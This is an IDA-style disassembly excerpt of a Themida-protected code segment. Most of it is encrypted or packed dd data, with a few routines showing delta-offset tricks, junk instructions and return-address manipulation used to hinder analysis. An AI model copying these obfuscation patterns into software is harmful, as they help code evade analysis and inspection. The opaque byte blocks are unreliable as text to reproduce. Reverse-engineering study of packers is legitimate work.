		dd 0D2AE12C1h, 0BDE2FE07h, 7D82DD75h, 7225AE46h, 62E3EE0Ah
		dd 54243F69h, 0D14192E7h, 0BE4491EDh, 0DE1A6D46h, 31D3FEF3h
		dd 97421EA2h, 0D9BE876Dh, 3B3F8F2Bh, 0E69B3095h, 0CA12E6B1h
		dd 73E86143h, 735FA55Fh, 0EC7A95Bh, 0F4100AA1h,	0DA8C685Bh
		dd 27C3904Bh, 538B1377h, 6D46C019h, 0D5B5AC3Ch,	2CC9C58h
		dd 0A4F3C002h, 922222B9h, 0AB287721h, 3AD14391h, 9170EBAh
		dd 63709C59h, 0FED92770h, 0F6E07C44h, 531DB64Eh, 0A12ACA44h
		dd 0F8949CF6h
		dd 5908D5CCh, 0F2A52E9Ch, 7739CB06h, 9B0AF13h, 551B9C59h
		dd 7A3FA298h, 1F683979h, 3A95B965h, 3463EC08h, 0A4768F44h
		dd 0B79747E3h, 0D0AC487Bh, 0DBF7FD07h, 32B64EF0h, 0BD1B38B3h
		dd 0B793A346h, 0C4408E1Bh, 2B5C6740h, 7881824Dh, 0F190F1CEh
		dd 39159B28h, 731F68A2h, 1822AFCBh, 344453DCh, 25496799h
		dd 95EF98AAh, 1668h, 0AE12A400h, 5E241B4Ah, 385F74CAh
		dd 21BB03A9h, 0F5F82EDCh, 0D2375D2Ah, 0DEFAFA02h, 0C7B351F3h
		dd 0E410F40Eh, 0C09C58E8h, 0EA16EE16h, 0C09C58ECh, 0EF0BE913h
		dd 0BAA65ED8h, 7220E418h, 81E68956h, 4C6h, 4BF5700h, 29000000h
		dd 34875FFEh, 89515C24h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 241C895Ch, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 0F7BB2404h, 8128A842h, 0FFFFFFC3h, 0F38143FFh, 20A96253h
		dd 620F68h, 24248900h, 4240481h, 58000000h, 0D8895051h
		dd 8958C189h, 8B590848h, 89512404h, 4C181E1h, 83000000h
		dd 0C8704C1h, 34FF5C24h, 0C4815B24h, 4,	0F94557E9h, 41B53BFFh
		dd 0DC6D70BEh, 0EC69220Ch, 38F4B866h, 0C5030801h, 26A7E0FFh
		dd 4CA6101h, 96C12963h,	4A962AFCh, 0BC872FE3h, 3A540BA3h
		dd 56E37B2Dh, 24EB5B3Bh, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_6155A2
; ---------------------------------------------------------------------------
		mov	[ebp+80139B8h],	esi
		mov	eax, [ebp+7FA27ADh]
		mov	eax, [ebp+7FA11A9h]
		lea	esi, [ebp+8013A02h]
		lea	eax, [ebp+7FDDFEEh]
		call	eax	; _adjust_fdiv
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 8013A08h
		cmp	dword ptr [ebp+7FA27ADh], 1
		jnz	loc_61554C
		push	dword ptr [ebp+80139B8h]
		mov	eax, [ebp+7FA11A9h]
		xor	eax, 34812736h
		call	eax	; _adjust_fdiv
		cmp	al, 1
		jnz	loc_615545
		mov	eax, 1
		jmp	loc_61558C
; ---------------------------------------------------------------------------


loc_615545:				; CODE XREF: Themida_:00615535j
		xor	eax, eax
		jmp	loc_61558C
; ---------------------------------------------------------------------------


loc_61554C:				; CODE XREF: Themida_:0061551Aj
		push	1Ch
		lea	esi, [ebp+80139BCh]
		push	esi
		push	dword ptr [ebp+80139B8h]
		mov	eax, [ebp+7FA11A9h]
		xor	eax, 34812736h
		call	eax	; _adjust_fdiv
		add	esp, 0Ch
		lea	esi, [ebp+80139BCh]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_615587
		xor	eax, eax
		jmp	loc_61558C
; ---------------------------------------------------------------------------


loc_615587:				; CODE XREF: Themida_:0061557Aj
		mov	eax, 1


loc_61558C:				; CODE XREF: Themida_:00615540j
					; Themida_:00615547j ...
		cmp	dword ptr [ebp+7FA27ADh], 1
		jnz	loc_6155A0
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_6155A2
; ---------------------------------------------------------------------------


loc_6155A0:				; CODE XREF: Themida_:00615593j
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_6155A2:				; CODE XREF: Themida_:006154E0j
					; Themida_:0061559Bj
		lea	eax, [ebp+80139E1h]
		mov	[ebp+7FA314Dh],	eax
		lea	ecx, [ebp+8013B5Ch]
		mov	edi, ecx
		mov	[ebp+7FA27C1h],	ecx
		push	0
		push	ecx
		call	sub_6155C7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6155C7	proc near		; CODE XREF: Themida_:006155BFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_6155C7	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		sub	edx, [eax+24h]
		sbb	[ecx+185C7F9h],	ah
		sbb	al, 0FAh
		pop	es
		adc	[edx+0], bl
		add	[edx+0], ch
		push	ebx
		call	sub_6155F3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6155F3	proc near		; CODE XREF: Themida_:006155EBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_6155F3	endp

; ---------------------------------------------------------------------------
		db 9Dh
		dd 81BE6149h, 0EFDE47E8h, 0C8815303h, 70C1E59Ch, 1D95295Ah
		dd 0C707FA1Eh, 0FA1AED85h, 7, 0C78BF900h, 1735B5FFh, 95FF07FAh
		dd 7FA177Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0F0C35242h, 9E69D18h, 0FA35319Dh, 0FF006A07h, 0FA012D95h
		dd 0EBC08B07h, 3845042Dh, 682E4024h, 14AAA518h,	2257E9EDh
		dd 2695BD52h, 8A5701E7h, 8E95557Ah, 0C1DB09CEh,	0D59C3D35h
		dd 464878E8h, 4C40120Fh, 19E930E9h, 0DF000000h,	7C14C6h
		dd 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_61632F
; ---------------------------------------------------------------------------
		db 21h,	0B3h, 89h
		dd 0A75D7579h, 8A84135Bh, 0A15B7878h, 0C3418D71h, 0F75D854Fh
		dd 11ED25DFh, 0A9C53DC7h, 4EC162Ch, 0FCCB37C9h,	0E90D14C0h
		dd 1066C25Ch, 80804C30h, 0AE120517h, 5E241B4Ah,	385F74CAh
		dd 74608D48h, 0CA5E246Dh, 0E7FEEAC6h, 40CA5E23h, 4D736073h
		dd 245E8571h, 59C9CA5Eh, 4C91425Ah, 4B9B278Bh, 78249896h
		dd 0D62E596Ah, 0BA4A86EAh, 0DA26713Ah, 929135FCh, 0EBCA5DB4h
		dd 0A7C3EDD6h, 58F1132Dh, 0D3DBE32Fh, 0EA9E24C1h, 2D4B3C26h
		dd 8368A1A2h, 40F008A1h, 86512D93h, 0E8AF787Ch,	0F7DC801Ch
		dd 933E3A4Dh, 7490B41Eh, 0A4C8E8DBh, 50D91B15h,	579DA730h
		dd 5F3BC9CEh, 0F3DBD0FBh, 0A9828251h, 0F930A2DEh, 5DBDD6CDh
		dd 31A22FCAh, 0F0E33F8Fh, 0E8B922D8h, 0DDF9E59Fh, 5F1CD27h
		dd 0CA5E1FDEh, 0C8066A37h, 319CB83Ch, 3F5CF50Fh, 34A6A346h
		dd 660A3AB1h, 8F18DC68h, 23DDF808h, 0EE14C19Dh,	0C7443E16h
		dd 0C20EFE57h, 0E40C8611h, 0E7CA06EBh, 547F54EEh, 3FF9106Ch
		dd 5AF6BA58h, 17BCC478h, 593E07EDh, 0B595AE27h,	0E7231690h
		dd 0AB64E85h, 0AFD86C66h, 28AA07D1h, 6C57F014h,	0E1636C88h
		dd 609A3723h, 48A322A4h, 8D31CD0Bh, 8D5BE1F1h, 0CA5D4096h
		dd 28B5E2EFh, 912D91B1h, 5D403E65h, 0DE0A97CAh,	0CA5D3FC7h
		dd 0E4ED9320h, 8E47395Eh, 406E7561h, 0FAC7CA5Dh, 4883E7C9h
		dd 0E61EBAB6h, 314DF1A1h, 82BC4BA4h, 961AA982h,	5D403332h
		dd 50378CCAh, 8C48A530h, 51615F74h, 97B5C1DCh, 1FB9B707h
		dd 6E4AB2E5h, 0DFF21C66h, 5C2B8377h, 5D598A94h,	112BA7CAh
		dd 36F007F3h, 0D37A2BEh, 0F98C5EE7h, 0A89475E2h, 8DFA0AC4h
		dd 992919D0h, 54B04C67h, 0E81D6AC3h, 5955279h, 5C836F4Bh
		dd 0B5CA5D49h, 0FF053F99h, 8DEA9D26h, 0DFh, 656E1287h
		dd 0FB8C25DFh, 0F5DDD2FDh, 203C844Fh, 81FB8CB4h, 7490D95h
		dd 0A4800BAh, 74EAF37Dh, 0B28ECA5Dh, 960103CEh,	68F90CCFh
		dd 3C05952Ah, 816D7460h, 0FDC6CA5Dh, 0AED8Ah, 834B0000h
		dd 1E98A61Bh, 613364EAh, 0FDE900D2h, 0CA5E23E6h, 5F61723Fh
		dd 0ADD3D84Fh, 0D3C4F694h, 7F854D29h, 8EB41D41h, 52AADD76h
		dd 37CD0A66h, 0EEF5E1BDh, 47CA5DBBh, 423E497Ah,	29456B91h
		dd 7A0295AFh, 0A53418C8h, 0D7C0896Bh, 0F6BCB0Eh, 0EFB83CC6h
		dd 0AF7A58A8h, 5DBC1C43h, 972C75CAh, 17983519h,	0A78084BEh
		dd 1F1F6B1Ch, 0ACB31F7Bh, 5CA5DBCh, 0BC352CBCh,	458ECA5Dh
		dd 46AB2652h, 0AC6E7D88h, 5663E2FFh, 0F65A566Dh, 0B0CC28DCh
		dd 0E0A71C24h, 0E1F28E32h, 7271555Bh, 0CBCA5D39h, 128B91F6h
		dd 0B5E2626Eh, 2CA60BC3h, 0BD05AB18h, 397FF36Eh, 22DAAD4Ch
		dd 0F6FA2E76h, 0B213822Dh, 53F93E5h, 0D379FBBh,	0CB395EE7h
		dd 0D81C26AFh, 0D331D3FCh, 0AD6776FAh, 8C4F5647h, 98B4ECBFh
		dd 0CB92053Fh, 688C3010h, 0CA5DD839h, 412302A4h, 773B8B43h
		dd 8B2C5E2Bh, 0B60D03A1h, 0CA27AFD1h, 1729A30Eh, 17F54DDh
		dd 6DA52ED4h, 2A9601D1h, 67F7130Fh, 0F8F5E020h,	10B023DDh
		dd 24E0606Ch, 9480FC8Bh, 0A1E61EB8h, 17BB485Fh,	0CA5D5E08h
		dd 3D835061h, 768EB421h, 2652AADDh, 7D599BA9h, 9256AE54h
		dd 157CD813h, 282BA490h, 0FC9C5A69h, 0F2CE7660h, 5D4BDF06h
		dd 1C6B38CAh, 0F69AAA41h, 5D4BD3D2h, 0F0972CCAh, 955B3C1Dh
		dd 834C3005h, 0DDAA8381h, 14E1Ah, 69367E00h, 0FC78C66h
		dd 0D2326235h, 9CC00004h, 0FD871030h, 993DCAE1h, 0CA5E248Ah
		dd 23EEF5E1h, 7A47CA5Eh, 84BC1838h, 0A71CA780h,	2241A509h
		dd 7BCA5E24h, 21A36126h, 53F747A2h, 663FC57Fh, 0FAF7DF21h
		dd 2CB29E3h, 0E17D41D1h, 0C47251CAh, 0F234064Bh, 0FD8A23E1h
		dd 6932D3FBh, 88E884EAh, 37535D66h, 5D53948Bh, 0B3E4EDCAh
		dd 0A5516D49h, 0CA5D537Eh, 3BFACAD7h, 0E5BEC6AFh, 28A9D7C0h
		dd 0AEA14BFh, 0A62E9241h, 221B30D8h, 5B296E62h,	51751905h
		dd 0CA5DCB52h, 0F47116ABh, 497D45F5h, 9153DA1Ch, 0BA9B6A1Dh
		dd 0AE059521h, 7BBFE612h, 8B18CA5Dh, 0F67BFCh, 12790000h
		dd 7F8E636Eh, 77890EC5h, 3F1BA55Fh, 0BF886C96h,	2C902CD8h
		dd 5E2499C8h, 0B6E1F2CAh, 0C8E40DCAh, 5E24051Ch, 0A3555ECAh
		dd 0CA5E247Ch, 2FA4CCD5h, 6D56EF15h, 647B6743h,	0CFCA5E24h
		dd 0FBF1A01Ch, 0A22F9327h, 636B87F5h, 798B23E1h, 0CBD1E6E2h
		dd 63E1ED93h, 1AD10CA1h, 58F4903Dh, 0A42DC741h,	0CF6F6AF3h
		dd 9C3A27FFh, 0C4108B15h, 873Ch, 0EC152FD6h, 186B412Ah
		dd 0E56E86BEh, 0D3DBE5EEh, 12738396h, 29E9AE3Ch, 0A6BD2985h
		dd 0FFCA5D2Ah, 12AFE5B2h, 12F117C2h, 189F0544h,	0E9A84D42h
		dd 61852B98h, 0CA5E1242h, 7F81069Bh, 6307A953h,	55AFD86Ah
		dd 3CF60569h, 0D0A8EFB8h, 0CA5E11CEh, 0E4C874h,	0CA5E11E1h
		dd 9B47693Ah, 0CA5E1284h, 1AC3D4DDh, 0B71B7FBFh, 0CA5E12A8h
		dd 0CE745D01h, 0E2739205h, 0F5059597h, 8, 659F3713h, 9B81069Fh
		dd 0E4606E12h, 8720h, 53CDDCE9h, 0F90BC5B1h, 93B7F9CAh
		dd 4800739h, 51507418h,	0AACA5E24h, 47926E19h, 99D76D6Ah
		dd 65EE063Ch, 8A6E526Eh, 0CA5E245Bh, 1F920B4h, 0D80F730h
		dd 4733D1B6h, 638F758Fh, 0AA1ED668h, 5593C01Bh,	0C2E105A9h
		dd 1BCA5DA2h, 0A7BE2A86h, 0CA5DA3h, 0E2F9E4B3h,	2FD5FE62h
		dd 34811868h, 0A85A699Bh, 70AB808h, 0A06E4811h,	0A74DF7E0h
		dd 0C791791Eh, 109F13C3h, 835044FAh, 8DB7213Dh,	52623EFAh
		dd 0F907ED2Ch, 79675D57h, 0AB281E1Eh, 0AD630D7Ah, 22D25762h
		dd 0E9CB8E92h, 3F487DA0h, 0A8B71B83h, 0BFC26399h, 0FCC5ED17h
		dd 0EBD9E9C7h, 68B8B48Fh, 2753B1D6h, 522E92ACh,	0AA8381BBh
		dd 2D912DDDh, 637C9AC9h, 0A2DEF3C2h, 5BF41034h,	2C814C2Ch
		dd 0C961A39Dh, 0E629A79h, 0C8FBC8E3h, 120C4E8h,	5AC26397h
		dd 0DAC63E49h, 47AD6776h, 63A1A32Bh, 6077F9CAh,	617E1A6h
		dd 21C26397h, 27F98DB6h, 0F042466Ah, 9A3521E3h,	60C48C68h
		dd 8DF35FEEh, 2CAF26A7h, 0E1B9E80Ch, 0C112C263h, 912DCB12h
		dd 63E13E65h, 7D0A97C2h, 153909E0h, 0FDFB8C86h,	9C5B31D2h
		dd 698BB520h, 26F7F4E0h, 32823E95h, 56BC75A1h, 0D7336444h
		dd 545973D7h, 0F7FDC67Eh, 0BC17692Eh, 359E982Fh, 9CC32F8Bh
		dd 0F5C26386h, 7521DBACh, 0AE46FCD9h, 4B867225h, 22C66B66h
		dd 0C2638603h, 477C475Ch, 82A14569h, 0DBC26386h, 4AAA6473h
		dd 0B7455281h, 0E70D379Bh, 8678A74Bh, 0D1C263h,	56AE5680h
		dd 5C98AC2Ah, 2D904D3h,	862A5655h, 63864362h, 80079CC2h
		dd 6E3606E5h, 6BFFBD4Ch, 0F5E1DF18h, 0C26336EEh, 0EB0D7A47h
		dd 3DC70BE0h, 0DBE5EEB7h, 370C13BFh, 5C65C263h,	7BDFDF2Bh
		dd 7F48AC56h, 6864F518h, 1438026Fh, 0E36C88B8h,	32543B4h
		dd 9650000h, 4D4F38F2h,	2DAAFEDCh, 7F54DD17h, 0D4015D41h
		dd 8AFDD62Eh, 58270CE6h, 2CA5C9D2h, 0ADD17116h,	0EB22123h
		dd 438B6672h, 596A43C1h, 0EE28BF9Bh, 1863D16h, 1AB39783h
		dd 15616CE9h, 685B1BFBh, 0A4D4C38Ch, 9EA1829h, 68B95031h
		dd 5539555Bh, 64107271h, 0F2F6CBC2h, 0C2640FF3h, 8210774Ch
		dd 0E36A2BEh, 0A35C7789h, 0CB14A3D7h, 169A29BBh, 0CF574E7Ah
		dd 23B0C263h, 0E1EC0874h, 0BE51615Fh, 129997D8h, 43E93DDh
		dd 0A4602700h, 3E9421B8h, 6E65EE06h, 0D3696A96h, 0AA419C31h
		dd 2D2EEADh, 58F20177h,	0D379F79h, 0D514D1B6h, 38F20965h
		dd 54A4F3BCh
		dd 1F85C879h, 1CA06E6Ch, 0F7535BA7h, 0BCE30FDCh, 15C26355h
		dd 0F4BD378Ch, 4BF362A3h, 0DD04026Fh, 24000000h, 0EC489D9Ch
		dd 2749C69Bh, 0D97292ACh, 6E12EEAEh, 0B9439061h, 0DB69660Ah
		dd 3079019h, 49F3DF37h,	0F903CFABh, 32A132FBh, 5FE5F28Eh
		dd 0BD7B0CA5h, 930DD1E1h, 0F5C033E6h, 4B7CEA2h,	324E4A5Eh
		dd 0CA63A19Bh, 83B5FDBDh, 2C2DA4FFh, 0F458586Bh, 3CC28D8h
		dd 704CE894h, 0B543FD0Ch, 4A5DCEAEh, 1AB6BA07h,	0CCD39DEAh
		dd 0E34A5DCDh, 0BE9A5AD4h, 4F13F113h, 8B3C19D0h, 0E3ED912Dh
		dd 0DE0AA361h, 4A5DCDC7h, 0CEABBA1Eh, 0AF044A5Dh, 1847AB13h
		dd 714A5DCEh, 39247360h, 10BEA2A2h, 0DB5FA3F4h,	6CEF2CEh
		dd 0D4DF6C5Ch, 79FF8870h, 0CA5E104Ah, 0B0527BE3h, 68487B54h
		dd 1081A044h, 0C9DACA5Eh, 87102AA7h, 8A47230Bh,	7CD82770h
		dd 38000001h, 6E86BE14h, 45BF4592h, 6C30576Ch, 925F6E12h
		dd 8512C17Bh, 705BBB7Dh, 269D36CEh, 3B9C5E8Ah, 2549D258h
		dd 4DED9AA8h, 0B2203C84h, 0F3E16A8Ah, 75AFCD12h, 86FE8932h
		dd 0E71DB69Ah, 787560A0h, 912FA45Ch, 0C70CE5EDh, 0E5EEB73Dh
		dd 0BD1858B2h, 36753D83h, 0F04FD734h, 1CF88413h, 52F2DC80h
		dd 0D0CF19B2h, 29C26324h, 5589EF98h, 76C26326h,	304CA85Ch
		dd 34609BA2h, 0F788C7ADh, 30A928CCh, 0B8319CB9h, 0C2912121h
		dd 2D121B0Ah, 9340C20Bh, 28D9F404h, 0A530145Dh,	0CC6C299Bh
		dd 1D813F94h, 629BAAB9h, 4C5B03C2h, 0FC9601D2h,	756C5834h
		dd 0CEC2629Bh, 0EA709205h, 6C7BDFE1h, 0B74E9AB3h, 0B122F81Eh
		dd 2B0D7A53h, 3AE03F8Fh, 1EAD3ED5h, 2F6FFF79h, 4A8CA64h
		dd 61B7C1E0h, 0FE891ABAh, 229D7044h, 8E357034h,	0B31F7B45h
		dd 0BA61E8ACh, 31CBBC05h, 81658A45h, 0BA61E862h, 0D3DDE6BBh
		dd 0C13FD4CBh, 9EE9F4F1h, 0D2DFFAE6h, 30F9FB01h, 5A7561A3h
		dd 148D4CA8h, 0BC6078D5h, 918BCE0h, 62BA61A4h, 0A478A751h
		dd 0D1BA61h, 0F50BCE97h, 1FD85763h, 0E7E9979Dh,	15CCD4DCh
		dd 368040Ch, 0CF043E93h, 0B894F8C8h, 0F1F0D421h, 4ABA61BDh
		dd 21AA4A79h, 0F9720276h, 0FABC262h, 6081BCE3h,	0FB8C15B2h
		dd 2D73733Fh, 7AF32410h, 0CF036749h, 91F6CF35h,	8A213D01h
		dd 12150790h, 0DFE1636Eh, 5E23ECF3h, 0B7C45CAh,	585861F7h
		dd 0CB29DBF4h, 3FA39502h, 0D25F5FAFh, 0B94B86EAh, 0DE0AA60Ah
		dd 0C25CE7C7h, 78049320h, 0F1CF715Ch, 0E4BC7FE1h, 0E76D57E9h
		dd 0A2F0974Fh, 0EC10C29Eh, 5DE7EC08h, 0F4DF2166h, 68577B4Bh
		dd 8B43A0F0h, 37794A79h, 450FA067h, 0DDAA3AAAh,	0FBD7731Fh
		dd 0C6A25641h, 57367269h, 133FC57Fh, 0EFEA86B8h, 0C92BD102h
		dd 0A231D300h, 47A3B02Bh, 9318B397h, 3ABA093Bh,	9C3F2671h
		dd 0BFE0149Ch, 0DD28E93Fh, 0AE03CEAAh, 0FD07CC25h, 5FA52EF7h
		dd 182CAAC6h, 335757ABh, 476B908Fh, 0C1E5FB4Eh,	2E1C9472h
		dd 28583F94h, 6A9240ADh, 0AE12C18Ah, 96013BD2h,	4A8252EEh
		dd 0C00CC532h, 547D7B0Ch, 5CE705Bh, 0B359FBBh, 0CD3760E9h
		dd 1CC25B1h, 4430D4FFh,	5F7B798Bh, 0E1FCCB75h, 148B4D0Ah
		dd 0CC0965D5h, 689C3A36h, 0A4D4C38Ch, 0DD4D1829h, 707A1194h
		dd 0F0E4FF4Eh, 854E52B8h, 8BB51F3Bh, 22B28EFCh,	0E429BDh
		dd 4E4819E1h, 475B693Ah, 7EC113FDh, 47E27782h, 0F4DF2166h
		dd 0B0948B37h, 20AB4E47h, 0D8FCA41Eh, 4E47AFC9h, 3E429122h
		dd 615F7490h, 6334EEFDh, 1FBC99h, 80DC0000h, 814AAA52h
		dd 6E120616h, 0AFF4E064h, 68754E53h, 9B412067h,	882C2B13h
		dd 0FF88F922h, 0FA02D21Dh, 51F3DEFAh, 0F40EC7B3h, 58E8E410h
		dd 0EE16C09Ch, 58ECEA16h, 0E913C09Ch, 5ED8EF0Bh, 0E418BAA6h
		dd 0EC837220h, 24148904h, 0C281E289h, 4, 8704EA83h
; ---------------------------------------------------------------------------
		adc	al, 24h
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	64C8h
		mov	[esp], eax
		push	edx
		mov	edx, 8013BB1h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		mov	[eax+8], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		db 1, 0F3h, 0B7h
; ---------------------------------------------------------------------------


loc_61632F:				; CODE XREF: Themida_:006156B0j
		mov	eax, 80147B2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 13E0D5BAh, 38ED83A4h, 56CE10B5h, 3BC5CCF4h, 5AA8CA5Fh
		dd 21696492h, 6352903Fh, 209B2ABCh, 2C6EFE13h, 56083BA9h
		dd 5512C054h, 31D2289Dh, 1313BA4Ah, 429FC611h, 7448F63Ah
		dd 5E1914B3h, 7D73BBC9h, 0D6F0CF8h, 7B5C4E5h, 4B671AD2h
		dd 23778BE4h, 3A32C1A4h, 61790AAFh, 456AA345h, 225A59B1h
		dd 0CE8h, 0A477B000h, 83D94750h, 0C2EF7C03h, 0C981667Ch
		dd 665EED19h, 81C568B9h, 6701C6h, 784DB900h, 0B863FAh
		dd 0BA000000h, 36FA765h, 0F5063C8Bh, 0AB7EEF81h, 51564D57h
		dd 0DE8h, 0AA3E8800h, 0E41DA19Fh, 2A50059h, 5B5AED55h
		dd 16EF815Ah, 0BB409BE5h, 4782568Eh, 7BC0F781h,	0ED80411Ah
		dd 8D0F57C2h, 1Fh, 12E960h, 0AE550000h,	5AC7AD5Ah, 29E6689Ch
		dd 0FA1ABA90h, 0FF1CE034h, 8C0Fh, 8F610000h, 9B50604h
		dd 6FEA8166h, 4E883BDh,	81D9BF0Fh, 0FF99D8F8h, 28850FFFh
		dd 0E9000000h, 12h, 66C229F8h, 8878A87Dh, 55CE827Eh, 15FEC781h
		dd 1FE97D48h, 0BB000000h, 33B8D88Bh, 0EEF49E71h, 819239E2h
		dd 0E318B2F1h, 0FF56E944h, 6DABFFFFh, 0BF54C3B5h, 8E9DF9Ch
		dd 0CD000000h, 3FDD4Ah,	0E9025800h, 1AE0h, 14D0C68h, 935BE908h
		dd 768FFFAh, 0E908014Fh, 0FFFA9351h, 152A068h, 9347E908h
		dd 5768FFFAh, 0E9080154h, 0FFFA933Dh, 155B468h,	9333E908h
		dd 6768FFFAh, 0E908015Ah, 0FFFA9329h, 15C0268h,	931FE908h
		dd 7A68FFFAh, 0E908015Fh, 0FFFA9315h, 161C668h,	930BE908h
		dd 7058FFFAh, 0FEC838D7h, 7846B665h, 0F3C030DFh, 7A49BB5Ah
		dd 95A332E1h, 2EAD4635h, 9D3CD5BEh, 48C7602Bh, 0C453ECD8h
		dd 5F28A86Bh, 0BD19894Bh, 513BB1F2h, 12243BB8h,	0AFD27E82h
		dd 0F7F57C18h, 0E773710Ah, 94E9B22Eh, 9D47218Ah, 710AF6F6h
		dd 0B24B34A8h, 0C1A128B4h, 68A708h, 9320B983h, 0AC3CFE8Fh
		dd 5E8E45DEh, 49E2D172h, 7E57CF5Bh, 20A7400Eh, 0B986F6B1h
		dd 0F39A0220h, 7E3A97B9h, 98752A31h, 8D1CF88h, 66218A31h
		dd 0E6AD76FEh, 8A3121EAh, 3ED57F21h, 1EE55B65h,	0B92B2670h
		dd 0C12937D0h, 2D8F7029h, 18B02107h, 11CA982Fh,	7E15AE9Bh
		dd 903A9562h, 831CEA19h, 730CF565h, 53149C75h, 0B119903Ah
		dd 86432E07h, 91F501B5h, 0B72F8C10h, 0A73871DCh, 67E25548h
		dd 1A8A7AE9h, 7CFF962Fh, 34DA98Ch, 0A914h, 0DF94FB00h
		dd 4393F58Eh, 0F5BFDD74h, 0BA533EAEh, 8A945D1Eh, 7A11BB21h
		dd 0C4B02032h, 3DB53D2Bh, 0E2AD1F64h, 0CBD97241h, 9440C75Fh
		dd 2670A1C2h, 3E3F6300h, 72661937h, 0ED85ED86h,	0A8716F34h
		dd 6199093h, 93C2830Dh,	0B8201990h, 10C99930h, 938C4D53h
		dd 82EA1990h, 93480DCBh, 0AE9D1990h, 22961715h,	0B8AEBEFCh
		dd 59E67F7h, 0EAD70AE7h, 33BB543Eh, 0C9B52768h,	23AA3230h
		dd 0CD865946h, 8F9702C3h, 2F06019h, 77EF7B69h, 75F39FD0h
		dd 7EC5034Dh, 0A2FABBC5h, 0F058198Fh, 8FA3A364h, 0B0570119h
		dd 1FD55h, 0AF53700h, 0F5C38472h, 59E64E5Ch, 973E8B11h
		dd 0FDC86955h, 56DE4664h, 8C250F8Dh, 0AB96169Eh, 77EB7B12h
		dd 0DD5BFA88h, 52555DCDh, 50DCCA63h, 158750D8h,	14A08E27h
		dd 917DED7Dh, 29C01FF8h, 0B62083DFh, 2DE6840Bh,	89E8D3C2h
		dd 8A413E07h, 0C7349C21h, 0BFD42EEAh, 9C659542h, 0A143CA62h
		dd 0AC4534D5h, 0E5BE36BEh, 8A7718E7h, 0FF67F3F1h, 2F1BE972h
		dd 0FD948B6Fh, 51BC23DCh, 9D475308h, 0FD8F4D04h, 1218A61h
		dd 8424BD8Bh, 0A60E1CB5h, 7011FDEFh, 0F641F785h, 6D91EADDh
		dd 0EFB46D05h, 8A0128F1h, 37DE8621h, 36A6EDA6h,	6425B14Ah
		dd 0C2218A01h, 8571731Ah, 0CDB933ECh, 27AE3634h, 56258A47h
		dd 0E9C69C48h, 22347C13h, 68FAE5BEh, 0C4A7C0A6h, 59E6AFAh
		dd 614B554Eh, 65266FEDh, 11FD9E67h, 6A026A78h, 9859F07Ch
		dd 0D918E1DFh, 0C676198Fh, 0EC75FF8h, 8FD9C992h, 35BD2719h
		dd 0EA83706Ch, 0CD0370FCh, 0F3369ADh, 8B44953Ch, 48B2411h
		dd 5D46AAACh, 54FB945Fh, 0E0A7084Bh, 42EF1E0Dh,	0F08976F6h
		dd 7B007B59h, 7E81E7Dh,	186EDBD0h, 0D6197806h, 65FBC603h
		dd 18B746CDh, 90961346h, 0F4AD4513h, 0C46831AFh, 1EC61192h
		dd 75672C77h, 6DF5F38Ch, 0A93706E6h, 8F3DDF4h, 8CE9716Fh
		dd 871F401Ah, 4A0B95CEh, 0A811930Fh, 8F488940h,	0F0BCCD4h
		dd 69581193h, 0EB4AD2D0h, 7D16E181h, 8E2716D6h,	0CAD357DBh
		dd 2A0A241Ch, 16AEh, 22B14A32h,	0A02FC8B2h, 2AA94230h
		dd 0A534CDBAh, 2CAB4433h, 78477B9Dh, 0F7C030DFh, 824DBF5Eh
		dd 0EFA6AE9h, 868DE675h, 8947410Ah, 8C149F19h, 740DF7F5h
		dd 917EEE76h, 0A08F51F8h, 8E714E07h, 12DDFC1Fh,	4BA5BF3Ch
		dd 0DE785109h, 0A6EDA637h, 89C6612Ah, 7E15BF21h, 3201A26Eh
		dd 54481199h, 9938CF68h, 8922EEDEh, 0F7F59602h,	0D6DE750Eh
		dd 4003DC44h, 26BF8903h, 8A94B17Ah, 0AE650F21h,	70A15832h
		dd 77403C26h, 0AD64D0DEh, 0C1BBA44Ch, 0E54D5BF4h, 7C63402Eh
		dd 0D7A28E6Fh, 75C5C13Eh, 0E67F4ADAh, 27B55CC8h, 198FE45Ah
		dd 76C42B64h, 122F3EB3h, 1592DF76h, 2CCE5CAh, 29D4CCA6h
		dd 0B921D1A2h, 9913034Dh, 0AA9313ACh, 871311h, 19505h
		dd 0A7920A00h, 909E3706h, 169E8C24h, 870EA796h,	0B1523E19h
		dd 0DEB72FC8h, 9B8922EEh, 7AEA780Fh, 0B0E4FD8Bh, 0C173E43Eh
		dd 917C7029h, 0CB82EAF8h, 4CEBE9Bh, 66F8E46Bh, 6A218A6Ch
		dd 0E8944A85h, 0B8821DE7h, 0E000871Fh, 0F18A7314h, 1D6072F3h
		dd 362E5BB8h, 6F6D36BEh, 7766ED86h, 59F2C0BCh, 0B828DF4Bh
